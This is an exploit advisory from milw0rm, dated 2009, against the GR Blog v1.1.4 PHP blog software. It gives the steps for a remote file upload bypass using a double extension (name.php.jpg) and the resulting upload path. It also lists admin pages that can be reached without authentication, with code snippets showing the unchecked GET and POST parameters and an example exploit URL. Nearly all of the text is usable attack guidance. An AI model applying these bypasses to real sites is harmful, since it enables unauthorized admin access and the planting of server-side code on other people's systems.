GR Blog v1.1.4 (Upload/Bypass) Multiple Remote Vulnerabilities
Author: Jose Luis Gongora Fernandez
(a.k.a) JosS <sys-project[at]hotmail.com>
Web: http://hack0wn.com/
/*************************/
TEST ON VERSION GR Blog v1.1.4, (in my localhost)
Download : http://sirini.net/grboard/board.php?id=grblog&articleNo=43
/*************************/
[+] Remote File Upload:
/admin/admin_upload.php (simple bypass)
upload --> name.php.jpg
PATH example: /data/2009/02/04/name.php.jpg
--------------
files: /admin
[+] SIMPLE bypass:
admin_user.php
admin_post.php
admin_all.php
more files...
!xpl: you enter in any files
[+] GET bypass:
admin_modify_comment.php
--
<?php
@header('Content-Type: text/html; charset=utf-8');
if(array_key_exists('uid', $_GET) && $_GET['uid']) $uid = $_GET['uid'];
else exit();
--
!xpl: http://localhost/blog/admin/admin_modify_comment.php?uid=1
more files...
[+] POST bypass:
admin_category.php
--
<?php
if(array_key_exists('categoryName', $_POST) && $_POST['categoryName'])
--
!xpl: --
admin_insert.php
--
<?php
$e = true;
if(array_key_exists('postStart', $_POST) && $_POST['postStart'])
--
!xpl: --
more files...
__h0__
# milw0rm.com [2009-02-04]
